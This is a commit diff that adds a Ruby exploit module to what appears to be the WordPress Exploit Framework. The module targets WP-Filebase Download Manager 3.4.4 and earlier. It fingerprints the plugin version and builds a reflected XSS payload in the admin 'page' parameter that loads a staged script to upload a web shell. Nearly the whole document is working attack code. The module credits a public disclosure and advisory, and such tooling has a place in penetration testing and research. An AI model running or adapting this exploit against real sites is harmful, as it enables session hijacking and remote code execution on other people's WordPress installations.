Add WP-Filebase Download Manager <= 3.4.4 reflected XSS shell upload

Author: rastating

modules/exploits/wp_filebase_download_manager_reflected_xss_shell_upload.rb

@@ -0,0 +1,35 @@
+class Wpxf::Exploit::WpFilebaseDownloadManagerReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP-Filebase Download Manager <= 3.4.4 Reflected XSS Shell Upload',
+      author: [
+        'Yorick Koster',                  # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8783'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_filebase_download_manager_wordpress_plugin.html']
+      ],
+      date: 'Mar 01 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-filebase', '3.4.5')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php?page=wpfilebase_files')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
+    )
+  end
+end